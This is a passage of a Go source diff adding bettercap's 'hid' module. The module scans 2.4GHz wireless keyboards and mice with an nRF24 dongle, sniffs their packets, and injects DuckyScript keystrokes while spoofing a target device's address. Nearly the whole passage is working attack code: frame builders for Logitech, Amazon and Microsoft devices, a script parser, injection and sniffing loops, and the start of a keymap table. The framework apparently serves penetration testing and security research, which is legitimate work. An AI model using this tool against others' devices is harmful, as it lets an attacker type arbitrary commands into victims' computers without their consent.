+	for i := 0; i < last; i++ {
+		sum ^= data[i]
+	}
+	sum = ^sum & 0xff
+	data[last] = sum
+
+	b.seqn++
+
+	return data
+}
+
+func (b MicrosoftBuilder) BuildFrames(dev *network.HIDDevice, commands []*Command) error {
+	if dev == nil {
+		return fmt.Errorf("the microsoft frame injection requires the device to be visible")
+	}
+
+	tpl := ([]byte)(nil)
+	dev.EachPayload(func(p []byte) bool {
+		if len(p) == 19 {
+			tpl = p
+			return true
+		}
+		return false
+	})
+
+	if tpl == nil {
+		return fmt.Errorf("at least one packet of 19 bytes needed to hijack microsoft devices, try to hid.sniff the device first")
+	}
+
+	last := len(commands) - 1
+	for i, cmd := range commands {
+		next := (*Command)(nil)
+		if i < last {
+			next = commands[i+1]
+		}
+
+		if cmd.IsHID() {
+			cmd.AddFrame(b.frameFor(tpl, cmd), 5)
+			if next == nil || cmd.HID == next.HID || next.IsSleep() {
+				cmd.AddFrame(b.frameFor(tpl, &Command{}), 0)
+			}
+		} else if cmd.IsSleep() {
+			for i, num := 0, cmd.Sleep/10; i < num; i++ {
+				cmd.AddFrame(b.frameFor(tpl, &Command{}), 0)
+			}
+		}
+	}
+
+	return nil
+}

+ 34 - 0
bettercap/modules/hid/builders.go

@@ -0,0 +1,34 @@
+package hid
+
+import (
+	"github.com/bettercap/bettercap/network"
+)
+
+type FrameBuilder interface {
+	BuildFrames(*network.HIDDevice, []*Command) error
+}
+
+var FrameBuilders = map[network.HIDType]FrameBuilder{
+	network.HIDTypeLogitech:  LogitechBuilder{},
+	network.HIDTypeAmazon:    AmazonBuilder{},
+	network.HIDTypeMicrosoft: MicrosoftBuilder{},
+}
+
+func availBuilders() []string {
+	return []string{
+		"logitech",
+		"amazon",
+		"microsoft",
+	}
+}
+
+func builderFromName(name string) FrameBuilder {
+	switch name {
+	case "amazon":
+		return AmazonBuilder{}
+	case "microsoft":
+		return MicrosoftBuilder{}
+	default:
+		return LogitechBuilder{}
+	}
+}

+ 39 - 0
bettercap/modules/hid/command.go

@@ -0,0 +1,39 @@
+package hid
+
+import (
+	"time"
+)
+
+type Frame struct {
+	Data  []byte
+	Delay time.Duration
+}
+
+func NewFrame(buf []byte, delay int) Frame {
+	return Frame{
+		Data:  buf,
+		Delay: time.Millisecond * time.Duration(delay),
+	}
+}
+
+type Command struct {
+	Mode   byte
+	HID    byte
+	Sleep  int
+	Frames []Frame
+}
+
+func (cmd *Command) AddFrame(buf []byte, delay int) {
+	if cmd.Frames == nil {
+		cmd.Frames = make([]Frame, 0)
+	}
+	cmd.Frames = append(cmd.Frames, NewFrame(buf, delay))
+}
+
+func (cmd Command) IsHID() bool {
+	return cmd.HID != 0 || cmd.Mode != 0
+}
+
+func (cmd Command) IsSleep() bool {
+	return cmd.Sleep > 0
+}

+ 187 - 0
bettercap/modules/hid/duckyparser.go

@@ -0,0 +1,187 @@
+package hid
+
+import (
+	"fmt"
+	"strconv"
+	"strings"
+
+	"github.com/evilsocket/islazy/fs"
+)
+
+type DuckyParser struct {
+	mod *HIDRecon
+}
+
+func (p DuckyParser) parseLiteral(what string, kmap KeyMap) (*Command, error) {
+	// get reference command from the layout
+	ref, found := kmap[what]
+	if found == false {
+		return nil, fmt.Errorf("can't find '%s' in current keymap", what)
+	}
+	return &Command{
+		HID:  ref.HID,
+		Mode: ref.Mode,
+	}, nil
+}
+
+func (p DuckyParser) parseModifier(line string, kmap KeyMap, modMask byte) (*Command, error) {
+	// get optional key after the modifier
+	ch := ""
+	if idx := strings.IndexRune(line, ' '); idx != -1 {
+		ch = line[idx+1:]
+	}
+	cmd, err := p.parseLiteral(ch, kmap)
+	if err != nil {
+		return nil, err
+	}
+	// apply modifier mask
+	cmd.Mode |= modMask
+	return cmd, nil
+}
+
+func (p DuckyParser) parseNumber(from string) (int, error) {
+	idx := strings.IndexRune(from, ' ')
+	if idx == -1 {
+		return 0, fmt.Errorf("can't parse number from '%s'", from)
+	}
+
+	num, err := strconv.Atoi(from[idx+1:])
+	if err != nil {
+		return 0, fmt.Errorf("can't parse number from '%s': %v", from, err)
+	}
+
+	return num, nil
+}
+
+func (p DuckyParser) parseString(from string) (string, error) {
+	idx := strings.IndexRune(from, ' ')
+	if idx == -1 {
+		return "", fmt.Errorf("can't parse string from '%s'", from)
+	}
+	return from[idx+1:], nil
+}
+
+func (p DuckyParser) lineIs(line string, tokens ...string) bool {
+	for _, tok := range tokens {
+		if strings.HasPrefix(line, tok) {
+			return true
+		}
+	}
+	return false
+}
+
+func (p DuckyParser) Parse(kmap KeyMap, path string) (cmds []*Command, err error) {
+	lines := []string{}
+	source := []string{}
+	reader := (chan string)(nil)
+
+	if reader, err = fs.LineReader(path); err != nil {
+		return
+	} else {
+		for line := range reader {
+			lines = append(lines, line)
+		}
+	}
+
+	// preprocessing
+	for lineno, line := range lines {
+		if p.lineIs(line, "REPEAT") {
+			if lineno == 0 {
+				err = fmt.Errorf("error on line %d: REPEAT instruction at the beginning of the script", lineno+1)
+				return
+			}
+			times := 1
+			times, err = p.parseNumber(line)
+			if err != nil {
+				return
+			}
+
+			for i := 0; i < times; i++ {
+				source = append(source, lines[lineno-1])
+			}
+		} else {
+			source = append(source, line)
+		}
+	}
+
+	cmds = make([]*Command, 0)
+	for _, line := range source {
+		cmd := &Command{}
+		if p.lineIs(line, "CTRL", "CONTROL") {
+			if cmd, err = p.parseModifier(line, kmap, 1); err != nil {
+				return
+			}
+		} else if p.lineIs(line, "SHIFT") {
+			if cmd, err = p.parseModifier(line, kmap, 2); err != nil {
+				return
+			}
+		} else if p.lineIs(line, "ALT") {
+			if cmd, err = p.parseModifier(line, kmap, 4); err != nil {
+				return
+			}
+		} else if p.lineIs(line, "GUI", "WINDOWS", "COMMAND") {
+			if cmd, err = p.parseModifier(line, kmap, 8); err != nil {
+				return
+			}
+		} else if p.lineIs(line, "CTRL-ALT", "CONTROL-ALT") {
+			if cmd, err = p.parseModifier(line, kmap, 4|1); err != nil {
+				return
+			}
+		} else if p.lineIs(line, "CTRL-SHIFT", "CONTROL-SHIFT") {
+			if cmd, err = p.parseModifier(line, kmap, 1|2); err != nil {
+				return
+			}
+		} else if p.lineIs(line, "ESC", "ESCAPE", "APP") {
+			if cmd, err = p.parseLiteral("ESCAPE", kmap); err != nil {
+				return
+			}
+		} else if p.lineIs(line, "ENTER") {
+			if cmd, err = p.parseLiteral("ENTER", kmap); err != nil {
+				return
+			}
+		} else if p.lineIs(line, "UP", "UPARROW") {
+			if cmd, err = p.parseLiteral("UP", kmap); err != nil {
+				return
+			}
+		} else if p.lineIs(line, "DOWN", "DOWNARROW") {
+			if cmd, err = p.parseLiteral("DOWN", kmap); err != nil {
+				return
+			}
+		} else if p.lineIs(line, "LEFT", "LEFTARROW") {
+			if cmd, err = p.parseLiteral("LEFT", kmap); err != nil {
+				return
+			}
+		} else if p.lineIs(line, "RIGHT", "RIGHTARROW") {
+			if cmd, err = p.parseLiteral("RIGHT", kmap); err != nil {
+				return
+			}
+		} else if p.lineIs(line, "DELAY", "SLEEP") {
+			secs := 0
+			if secs, err = p.parseNumber(line); err != nil {
+				return
+			}
+			cmd = &Command{Sleep: secs}
+		} else if p.lineIs(line, "STRING", "STR") {
+			str := ""
+			if str, err = p.parseString(line); err != nil {
+				return
+			}
+
+			for _, c := range str {
+				if cmd, err = p.parseLiteral(string(c), kmap); err != nil {
+					return
+				}
+				cmds = append(cmds, cmd)
+			}
+
+			continue
+		} else if cmd, err = p.parseLiteral(line, kmap); err != nil {
+			err = fmt.Errorf("error parsing '%s': %s", line, err)
+			return
+		}
+
+		cmds = append(cmds, cmd)
+	}
+
+	return
+}

+ 233 - 0
bettercap/modules/hid/hid.go

@@ -0,0 +1,233 @@
+package hid
+
+import (
+	"fmt"
+	"strings"
+	"sync"
+	"time"
+
+	"github.com/bettercap/bettercap/modules/utils"
+	"github.com/bettercap/bettercap/session"
+
+	"github.com/bettercap/nrf24"
+)
+
+type HIDRecon struct {
+	session.SessionModule
+	dongle       *nrf24.Dongle
+	waitGroup    *sync.WaitGroup
+	channel      int
+	devTTL       int
+	hopPeriod    time.Duration
+	pingPeriod   time.Duration
+	sniffPeriod  time.Duration
+	lastHop      time.Time
+	lastPing     time.Time
+	useLNA       bool
+	sniffLock    *sync.Mutex
+	writeLock    *sync.Mutex
+	sniffAddrRaw []byte
+	sniffAddr    string
+	sniffType    string
+	pingPayload  []byte
+	inSniffMode  bool
+	sniffSilent  bool
+	inPromMode   bool
+	inInjectMode bool
+	keyLayout    string
+	scriptPath   string
+	parser       DuckyParser
+	selector     *utils.ViewSelector
+}
+
+func NewHIDRecon(s *session.Session) *HIDRecon {
+	mod := &HIDRecon{
+		SessionModule: session.NewSessionModule("hid", s),
+		waitGroup:     &sync.WaitGroup{},
+		sniffLock:     &sync.Mutex{},
+		writeLock:     &sync.Mutex{},
+		devTTL:        1200,
+		hopPeriod:     100 * time.Millisecond,
+		pingPeriod:    100 * time.Millisecond,
+		sniffPeriod:   500 * time.Millisecond,
+		lastHop:       time.Now(),
+		lastPing:      time.Now(),
+		useLNA:        true,
+		channel:       1,
+		sniffAddrRaw:  nil,
+		sniffAddr:     "",
+		inSniffMode:   false,
+		inPromMode:    false,
+		inInjectMode:  false,
+		sniffSilent:   true,
+		pingPayload:   []byte{0x0f, 0x0f, 0x0f, 0x0f},
+		keyLayout:     "US",
+		scriptPath:    "",
+	}
+
+	mod.State.Store("sniffing", &mod.sniffAddr)
+	mod.State.Store("injecting", &mod.inInjectMode)
+	mod.State.Store("layouts", SupportedLayouts())
+
+	mod.AddHandler(session.NewModuleHandler("hid.recon on", "",
+		"Start scanning for HID devices on the 2.4Ghz spectrum.",
+		func(args []string) error {
+			return mod.Start()
+		}))
+
+	mod.AddHandler(session.NewModuleHandler("hid.recon off", "",
+		"Stop scanning for HID devices on the 2.4Ghz spectrum.",
+		func(args []string) error {
+			return mod.Stop()
+		}))
+
+	mod.AddHandler(session.NewModuleHandler("hid.clear", "",
+		"Clear all devices collected by the HID discovery module.",
+		func(args []string) error {
+			mod.Session.HID.Clear()
+			return nil
+		}))
+
+	sniff := session.NewModuleHandler("hid.sniff ADDRESS", `(?i)^hid\.sniff ([a-f0-9]{2}:[a-f0-9]{2}:[a-f0-9]{2}:[a-f0-9]{2}:[a-f0-9]{2}|clear)$`,
+		"Start sniffing a specific ADDRESS in order to collect payloads, use 'clear' to stop collecting.",
+		func(args []string) error {
+			return mod.setSniffMode(args[0], false)
+		})
+
+	sniff.Complete("hid.sniff", s.HIDCompleter)
+
+	mod.AddHandler(sniff)
+
+	mod.AddHandler(session.NewModuleHandler("hid.show", "",
+		"Show a list of detected HID devices on the 2.4Ghz spectrum.",
+		func(args []string) error {
+			return mod.Show()
+		}))
+
+	inject := session.NewModuleHandler("hid.inject ADDRESS LAYOUT FILENAME", `(?i)^hid\.inject ([a-f0-9]{2}:[a-f0-9]{2}:[a-f0-9]{2}:[a-f0-9]{2}:[a-f0-9]{2})\s+(.+)\s+(.+)$`,
+		"Parse the duckyscript FILENAME and inject it as HID frames spoofing the device ADDRESS, using the LAYOUT keyboard mapping.",
+		func(args []string) error {
+			if err := mod.setInjectionMode(args[0]); err != nil {
+				return err
+			}
+			mod.keyLayout = args[1]
+			mod.scriptPath = args[2]
+			return nil
+		})
+
+	inject.Complete("hid.inject", s.HIDCompleter)
+
+	mod.AddHandler(inject)
+
+	mod.AddParam(session.NewIntParameter("hid.ttl",
+		fmt.Sprintf("%d", mod.devTTL),
+		"Seconds of inactivity to consider a device as not in range."))
+
+	mod.AddParam(session.NewBoolParameter("hid.lna",
+		"true",
+		"If true, enable the LNA power amplifier for CrazyRadio devices."))
+
+	mod.AddParam(session.NewIntParameter("hid.hop.period",
+		"100",
+		"Time in milliseconds to stay on each channel before hopping to the next one."))
+
+	mod.AddParam(session.NewIntParameter("hid.ping.period",
+		"100",
+		"Time in milliseconds to attempt to ping a device on a given channel while in sniffer mode."))
+
+	mod.AddParam(session.NewIntParameter("hid.sniff.period",
+		"500",
+		"Time in milliseconds to automatically sniff payloads from a device, once it's detected, in order to determine its type."))
+
+	builders := availBuilders()
+
+	mod.AddParam(session.NewStringParameter("hid.force.type",
+		"logitech",
+		fmt.Sprintf("(%s)", strings.Join(builders, "|")),
+		fmt.Sprintf("If the device is not visible or its type has not being detected, force the device type to this value. Accepted values: %s", strings.Join(builders, ", "))))
+
+	mod.parser = DuckyParser{mod}
+	mod.selector = utils.ViewSelectorFor(&mod.SessionModule, "hid.show", []string{"mac", "seen"}, "mac desc")
+
+	return mod
+}
+
+func (mod HIDRecon) Name() string {
+	return "hid"
+}
+
+func (mod HIDRecon) Description() string {
+	return "A scanner and frames injection module for HID devices on the 2.4Ghz spectrum, using Nordic Semiconductor nRF24LU1+ based USB dongles and Bastille Research RFStorm firmware."
+}
+
+func (mod HIDRecon) Author() string {
+	return "Simone Margaritelli <evilsocket@gmail.com> (this module and the nrf24 client library), Bastille Research (the rfstorm firmware and original research), phikshun and infamy for JackIt."
+}
+
+func (mod *HIDRecon) Configure() error {
+	var err error
+	var n int
+
+	if mod.Running() {
+		return session.ErrAlreadyStarted(mod.Name())
+	}
+
+	if err, mod.useLNA = mod.BoolParam("hid.lna"); err != nil {
+		return err
+	}
+
+	if err, mod.devTTL = mod.IntParam("hid.ttl"); err != nil {
+		return err
+	}
+
+	if err, n = mod.IntParam("hid.hop.period"); err != nil {
+		return err
+	} else {
+		mod.hopPeriod = time.Duration(n) * time.Millisecond
+	}
+
+	if err, n = mod.IntParam("hid.ping.period"); err != nil {
+		return err
+	} else {
+		mod.pingPeriod = time.Duration(n) * time.Millisecond
+	}
+
+	if err, n = mod.IntParam("hid.sniff.period"); err != nil {
+		return err
+	} else {
+		mod.sniffPeriod = time.Duration(n) * time.Millisecond
+	}
+
+	if mod.dongle, err = nrf24.Open(); err != nil {
+		return fmt.Errorf("make sure that a nRF24LU1+ based USB dongle is connected and running the rfstorm firmware: %s", err)
+	}
+
+	mod.Debug("using device %s", mod.dongle.String())
+
+	if mod.useLNA {
+		if err = mod.dongle.EnableLNA(); err != nil {
+			return fmt.Errorf("make sure your device supports LNA, otherwise set hid.lna to false and retry: %s", err)
+		}
+		mod.Debug("LNA enabled")
+	}
+
+	return nil
+}
+
+func (mod *HIDRecon) forceStop() error {
+	return mod.SetRunning(false, func() {
+		if mod.dongle != nil {
+			mod.dongle.Close()
+			mod.Debug("device closed")
+		}
+	})
+}
+func (mod *HIDRecon) Stop() error {
+	return mod.SetRunning(false, func() {
+		mod.waitGroup.Wait()
+		if mod.dongle != nil {
+			mod.dongle.Close()
+			mod.Debug("device closed")
+		}
+	})
+}

+ 148 - 0
bettercap/modules/hid/hid_inject.go

@@ -0,0 +1,148 @@
+package hid
+
+import (
+	"fmt"
+	"time"
+
+	"github.com/bettercap/bettercap/network"
+
+	"github.com/evilsocket/islazy/tui"
+
+	"github.com/dustin/go-humanize"
+)
+
+func (mod *HIDRecon) isInjecting() bool {
+	return mod.inInjectMode
+}
+
+func (mod *HIDRecon) setInjectionMode(address string) error {
+	if err := mod.setSniffMode(address, true); err != nil {
+		return err
+	} else if address == "clear" {
+		mod.inInjectMode = false
+	} else {
+		mod.inInjectMode = true
+	}
+	return nil
+}
+
+func errNoDevice(addr string) error {
+	return fmt.Errorf("HID device %s not found, make sure that hid.recon is on and that this device has been discovered", addr)
+}
+
+func errNoType(addr string) error {
+	return fmt.Errorf("HID frame injection requires the device type to be detected, try to 'hid.sniff %s' for a few seconds.", addr)
+}
+
+func errNotSupported(dev *network.HIDDevice) error {
+	return fmt.Errorf("HID frame injection is not supported for device type %s", dev.Type.String())
+}
+
+func errNoKeyMap(layout string) error {
+	return fmt.Errorf("could not find keymap for '%s' layout, supported layouts are: %s", layout, SupportedLayouts())
+}
+
+func (mod *HIDRecon) prepInjection() (error, *network.HIDDevice, []*Command) {
+	var err error
+
+	if err, mod.sniffType = mod.StringParam("hid.force.type"); err != nil {
+		return err, nil, nil
+	}
+
+	dev, found := mod.Session.HID.Get(mod.sniffAddr)
+	if found == false {
+		mod.Warning("device %s is not visible, will use HID type %s", mod.sniffAddr, tui.Yellow(mod.sniffType))
+	} else if dev.Type == network.HIDTypeUnknown {
+		mod.Warning("device %s type has not been detected yet, falling back to '%s'", mod.sniffAddr, tui.Yellow(mod.sniffType))
+	}
+
+	var builder FrameBuilder
+	if found && dev.Type != network.HIDTypeUnknown {
+		// get the device specific protocol handler
+		builder, found = FrameBuilders[dev.Type]
+		if found == false {
+			return errNotSupported(dev), nil, nil
+		}
+	} else {
+		// get the device protocol handler from the hid.force.type parameter
+		builder = builderFromName(mod.sniffType)
+	}
+
+	// get the keymap from the selected layout
+	keyMap := KeyMapFor(mod.keyLayout)
+	if keyMap == nil {
+		return errNoKeyMap(mod.keyLayout), nil, nil
+	}
+
+	// parse the script into a list of Command objects
+	cmds, err := mod.parser.Parse(keyMap, mod.scriptPath)
+	if err != nil {
+		return err, nil, nil
+	}
+
+	mod.Info("%s loaded ...", mod.scriptPath)
+
+	// build the protocol specific frames to send
+	if err := builder.BuildFrames(dev, cmds); err != nil {
+		return err, nil, nil
+	}
+
+	return nil, dev, cmds
+}
+
+func (mod *HIDRecon) doInjection() {
+	mod.writeLock.Lock()
+	defer mod.writeLock.Unlock()
+
+	err, dev, cmds := mod.prepInjection()
+	if err != nil {
+		mod.Error("%v", err)
+		return
+	}
+
+	numFrames := 0
+	szFrames := 0
+	for _, cmd := range cmds {
+		for _, frame := range cmd.Frames {
+			numFrames++
+			szFrames += len(frame.Data)
+		}
+	}
+
+	devType := mod.sniffType
+	if dev != nil {
+		devType = dev.Type.String()
+	}
+
+	mod.Info("sending %d (%s) HID frames to %s (type:%s layout:%s) ...",
+		numFrames,
+		humanize.Bytes(uint64(szFrames)),
+		tui.Bold(mod.sniffAddr),
+		tui.Yellow(devType),
+		tui.Yellow(mod.keyLayout))
+
+	for i, cmd := range cmds {
+		for j, frame := range cmd.Frames {
+			for attempt := 0; attempt < 3; attempt++ {
+				if err := mod.dongle.TransmitPayload(frame.Data, 500, 5); err != nil {
+					if attempt < 2 {
+						mod.Debug("error sending frame #%d of HID command #%d: %v, retrying ...", j, i, err)
+					} else {
+						mod.Error("error sending frame #%d of HID command #%d: %v", j, i, err)
+					}
+				} else {
+					break
+				}
+			}
+
+			if frame.Delay > 0 {
+				mod.Debug("sleeping %dms after frame #%d of command #%d ...", frame.Delay, j, i)
+				time.Sleep(frame.Delay)
+			}
+		}
+		if cmd.Sleep > 0 {
+			mod.Debug("sleeping %dms after command #%d ...", cmd.Sleep, i)
+			time.Sleep(time.Duration(cmd.Sleep) * time.Millisecond)
+		}
+	}
+}

+ 134 - 0
bettercap/modules/hid/hid_recon.go

@@ -0,0 +1,134 @@
+package hid
+
+import (
+	"time"
+
+	"github.com/bettercap/nrf24"
+	"github.com/google/gousb"
+)
+
+func (mod *HIDRecon) doHopping() {
+	mod.writeLock.Lock()
+	defer mod.writeLock.Unlock()
+
+	if mod.inPromMode == false {
+		if err := mod.dongle.EnterPromiscMode(); err != nil {
+			mod.Error("error entering promiscuous mode: %v", err)
+		} else {
+			mod.inSniffMode = false
+			mod.inPromMode = true
+			mod.Debug("device entered promiscuous mode")
+		}
+	}
+
+	if time.Since(mod.lastHop) >= mod.hopPeriod {
+		mod.channel++
+		if mod.channel > nrf24.TopChannel {
+			mod.channel = 1
+		}
+		if err := mod.dongle.SetChannel(mod.channel); err != nil {
+			if err == gousb.ErrorNoDevice || err == gousb.TransferStall {
+				mod.Error("device disconnected, stopping module")
+				mod.forceStop()
+				return
+			} else {
+				mod.Warning("error hopping on channel %d: %v", mod.channel, err)
+			}
+		} else {
+			mod.lastHop = time.Now()
+		}
+	}
+}
+
+func (mod *HIDRecon) onDeviceDetected(buf []byte) {
+	if sz := len(buf); sz >= 5 {
+		addr, payload := buf[0:5], buf[5:]
+		mod.Debug("detected device %x on channel %d (payload:%x)\n", addr, mod.channel, payload)
+		if isNew, dev := mod.Session.HID.AddIfNew(addr, mod.channel, payload); isNew {
+			// sniff for a while in order to detect the device type
+			go func() {
+				prevSilent := mod.sniffSilent
+
+				if err := mod.setSniffMode(dev.Address, true); err == nil {
+					mod.Debug("detecting device type ...")
+					defer func() {
+						mod.sniffLock.Unlock()
+						mod.setSniffMode("clear", prevSilent)
+					}()
+					// make sure nobody can sniff to another
+					// address until we're not done here...
+					mod.sniffLock.Lock()
+
+					time.Sleep(mod.sniffPeriod)
+				} else {
+					mod.Warning("error while sniffing %s: %v", dev.Address, err)
+				}
+			}()
+		}
+	}
+}
+
+func (mod *HIDRecon) devPruner() {
+	mod.waitGroup.Add(1)
+	defer mod.waitGroup.Done()
+
+	maxDeviceTTL := time.Duration(mod.devTTL) * time.Second
+	mod.Debug("devices pruner started with ttl %v", maxDeviceTTL)
+	for mod.Running() {
+		for _, dev := range mod.Session.HID.Devices() {
+			sinceLastSeen := time.Since(dev.LastSeen)
+			if sinceLastSeen > maxDeviceTTL {
+				mod.Debug("device %s not seen in %s, removing.", dev.Address, sinceLastSeen)
+				mod.Session.HID.Remove(dev.Address)
+			}
+		}
+		time.Sleep(30 * time.Second)
+	}
+}
+
+func (mod *HIDRecon) Start() error {
+	if err := mod.Configure(); err != nil {
+		return err
+	}
+
+	return mod.SetRunning(true, func() {
+		mod.waitGroup.Add(1)
+		defer mod.waitGroup.Done()
+
+		go mod.devPruner()
+
+		mod.Info("hopping on %d channels every %s", nrf24.TopChannel, mod.hopPeriod)
+		for mod.Running() {
+			if mod.isSniffing() {
+				mod.doPing()
+			} else {
+				mod.doHopping()
+			}
+
+			if mod.isInjecting() {
+				mod.doInjection()
+				mod.setInjectionMode("clear")
+				continue
+			}
+
+			buf, err := mod.dongle.ReceivePayload()
+			if err != nil {
+				if err == gousb.ErrorNoDevice || err == gousb.TransferStall {
+					mod.Error("device disconnected, stopping module")
+					mod.forceStop()
+					return
+				}
+				mod.Warning("error receiving payload from channel %d: %v", mod.channel, err)
+				continue
+			}
+
+			if mod.isSniffing() {
+				mod.onSniffedBuffer(buf)
+			} else {
+				mod.onDeviceDetected(buf)
+			}
+		}
+
+		mod.Debug("stopped")
+	})
+}

+ 123 - 0
bettercap/modules/hid/hid_show.go

@@ -0,0 +1,123 @@
+package hid
+
+import (
+	"sort"
+	"time"
+
+	"github.com/bettercap/bettercap/network"
+
+	"github.com/dustin/go-humanize"
+
+	"github.com/evilsocket/islazy/tui"
+)
+
+var (
+	AliveTimeInterval      = time.Duration(5) * time.Minute
+	PresentTimeInterval    = time.Duration(1) * time.Minute
+	JustJoinedTimeInterval = time.Duration(10) * time.Second
+)
+
+func (mod *HIDRecon) getRow(dev *network.HIDDevice) []string {
+	sinceLastSeen := time.Since(dev.LastSeen)
+	seen := dev.LastSeen.Format("15:04:05")
+
+	if sinceLastSeen <= JustJoinedTimeInterval {
+		seen = tui.Bold(seen)
+	} else if sinceLastSeen > PresentTimeInterval {
+		seen = tui.Dim(seen)
+	}
+
+	return []string{
+		dev.Address,
+		dev.Type.String(),
+		dev.Channels(),
+		humanize.Bytes(dev.PayloadsSize()),
+		seen,
+	}
+}
+
+func (mod *HIDRecon) doFilter(dev *network.HIDDevice) bool {
+	if mod.selector.Expression == nil {
+		return true
+	}
+	return mod.selector.Expression.MatchString(dev.Address)
+}
+
+func (mod *HIDRecon) doSelection() (err error, devices []*network.HIDDevice) {
+	if err = mod.selector.Update(); err != nil {
+		return
+	}
+
+	devices = mod.Session.HID.Devices()
+	filtered := []*network.HIDDevice{}
+	for _, dev := range devices {
+		if mod.doFilter(dev) {
+			filtered = append(filtered, dev)
+		}
+	}
+	devices = filtered
+
+	switch mod.selector.SortField {
+	case "mac":
+		sort.Sort(ByHIDMacSorter(devices))
+	case "seen":
+		sort.Sort(ByHIDSeenSorter(devices))
+	}
+
+	// default is asc
+	if mod.selector.Sort == "desc" {
+		// from https://github.com/golang/go/wiki/SliceTricks
+		for i := len(devices)/2 - 1; i >= 0; i-- {
+			opp := len(devices) - 1 - i
+			devices[i], devices[opp] = devices[opp], devices[i]
+		}
+	}
+
+	if mod.selector.Limit > 0 {
+		limit := mod.selector.Limit
+		max := len(devices)
+		if limit > max {
+			limit = max
+		}
+		devices = devices[0:limit]
+	}
+
+	return
+}
+
+func (mod *HIDRecon) colNames() []string {
+	colNames := []string{"MAC", "Type", "Channels", "Data", "Seen"}
+	switch mod.selector.SortField {
+	case "mac":
+		colNames[0] += " " + mod.selector.SortSymbol
+	case "seen":
+		colNames[4] += " " + mod.selector.SortSymbol
+	}
+	return colNames
+}
+
+func (mod *HIDRecon) Show() (err error) {
+	var devices []*network.HIDDevice
+	if err, devices = mod.doSelection(); err != nil {
+		return
+	}
+
+	rows := make([][]string, 0)
+	for _, dev := range devices {
+		rows = append(rows, mod.getRow(dev))
+	}
+
+	tui.Table(mod.Session.Events.Stdout, mod.colNames(), rows)
+
+	if mod.sniffAddrRaw == nil {
+		mod.Printf("\nchannel:%d\n\n", mod.channel)
+	} else {
+		mod.Printf("\nchannel:%d sniffing:%s\n\n", mod.channel, tui.Red(mod.sniffAddr))
+	}
+
+	if len(rows) > 0 {
+		mod.Session.Refresh()
+	}
+
+	return nil
+}

+ 19 - 0
bettercap/modules/hid/hid_show_sort.go

@@ -0,0 +1,19 @@
+package hid
+
+import (
+	"github.com/bettercap/bettercap/network"
+)
+
+type ByHIDMacSorter []*network.HIDDevice
+
+func (a ByHIDMacSorter) Len() int      { return len(a) }
+func (a ByHIDMacSorter) Swap(i, j int) { a[i], a[j] = a[j], a[i] }
+func (a ByHIDMacSorter) Less(i, j int) bool {
+	return a[i].Address < a[j].Address
+}
+
+type ByHIDSeenSorter []*network.HIDDevice
+
+func (a ByHIDSeenSorter) Len() int           { return len(a) }
+func (a ByHIDSeenSorter) Swap(i, j int)      { a[i], a[j] = a[j], a[i] }
+func (a ByHIDSeenSorter) Less(i, j int) bool { return a[i].LastSeen.Before(a[j].LastSeen) }

+ 96 - 0
bettercap/modules/hid/hid_sniff.go

@@ -0,0 +1,96 @@
+package hid
+
+import (
+	"encoding/hex"
+	"fmt"
+	"time"
+
+	"github.com/bettercap/bettercap/network"
+
+	"github.com/bettercap/nrf24"
+
+	"github.com/evilsocket/islazy/str"
+	"github.com/evilsocket/islazy/tui"
+)
+
+func (mod *HIDRecon) isSniffing() bool {
+	return mod.sniffAddrRaw != nil
+}
+
+func (mod *HIDRecon) setSniffMode(mode string, silent bool) error {
+	if !mod.Running() {
+		return fmt.Errorf("please turn hid.recon on")
+	}
+
+	mod.sniffLock.Lock()
+	defer mod.sniffLock.Unlock()
+
+	mod.sniffSilent = silent
+	mod.inSniffMode = false
+	if mode == "clear" {
+		mod.Debug("restoring recon mode")
+		mod.sniffAddrRaw = nil
+		mod.sniffAddr = ""
+		mod.sniffSilent = true
+	} else {
+		if err, raw := nrf24.ConvertAddress(mode); err != nil {
+			return err
+		} else {
+			mod.Debug("sniffing device %s ...", tui.Bold(mode))
+			mod.sniffAddr = network.NormalizeHIDAddress(mode)
+			mod.sniffAddrRaw = raw
+		}
+	}
+
+	return nil
+}
+
+func (mod *HIDRecon) doPing() {
+	mod.writeLock.Lock()
+	defer mod.writeLock.Unlock()
+
+	if mod.inSniffMode == false {
+		if err := mod.dongle.EnterSnifferModeFor(mod.sniffAddrRaw); err != nil {
+			mod.Error("error entering sniffer mode for %s: %v", mod.sniffAddr, err)
+		} else {
+			mod.inSniffMode = true
+			mod.inPromMode = false
+			mod.Debug("device entered sniffer mode for %s", mod.sniffAddr)
+		}
+	}
+
+	if time.Since(mod.lastPing) >= mod.pingPeriod {
+		// try on the current channel first
+		if err := mod.dongle.TransmitPayload(mod.pingPayload, 250, 1); err != nil {
+			for mod.channel = 1; mod.channel <= nrf24.TopChannel; mod.channel++ {
+				if err := mod.dongle.SetChannel(mod.channel); err != nil {
+					mod.Error("error setting channel %d: %v", mod.channel, err)
+				} else if err = mod.dongle.TransmitPayload(mod.pingPayload, 250, 1); err == nil {
+					mod.lastPing = time.Now()
+					return
+				}
+			}
+		}
+	}
+}
+
+func (mod *HIDRecon) onSniffedBuffer(buf []byte) {
+	if sz := len(buf); sz > 0 && buf[0] == 0x00 {
+		buf = buf[1:]
+		lf := mod.Info
+		if mod.sniffSilent {
+			lf = mod.Debug
+		}
+		lf("payload for %s : %s", tui.Bold(mod.sniffAddr), str.Trim(hex.Dump(buf)))
+		if dev, found := mod.Session.HID.Get(mod.sniffAddr); found {
+			dev.LastSeen = time.Now()
+			dev.AddPayload(buf)
+			dev.AddChannel(mod.channel)
+		} else {
+			if lf = mod.Warning; mod.sniffSilent == false {
+				lf = mod.Debug
+			}
+			lf("got a payload for unknown device %s", mod.sniffAddr)
+		}
+	}
+}

+ 2123 - 0
bettercap/modules/hid/keymaps.go

@@ -0,0 +1,2123 @@
+package hid
+
+import (
+	"sort"
+)
+
+type KeyMap map[string]Command
+
+var BaseMap = KeyMap{
+	"":            Command{},
+	"CTRL":        Command{Mode: 1},
+	"SHIFT":       Command{Mode: 2},
+	"ALT":         Command{Mode: 4},
+	"GUI":         Command{Mode: 8},
+	"ENTER":       Command{HID: 40},
+	"ESCAPE":      Command{HID: 41},
+	"DELETE":      Command{HID: 42},
+	"TAB":         Command{HID: 43},
+	"SPACE":       Command{HID: 44},
+	"CAPSLOCK":    Command{HID: 57},
+	"F1":          Command{HID: 58},
+	"F2":          Command{HID: 59},
+	"F3":          Command{HID: 60},
+	"F4":          Command{HID: 61},
+	"F5":          Command{HID: 62},
+	"F6":          Command{HID: 63},
+	"F7":          Command{HID: 64},
+	"F8":          Command{HID: 65},
+	"F9":          Command{HID: 66},
+	"F10":         Command{HID: 67},
+	"F11":         Command{HID: 68},
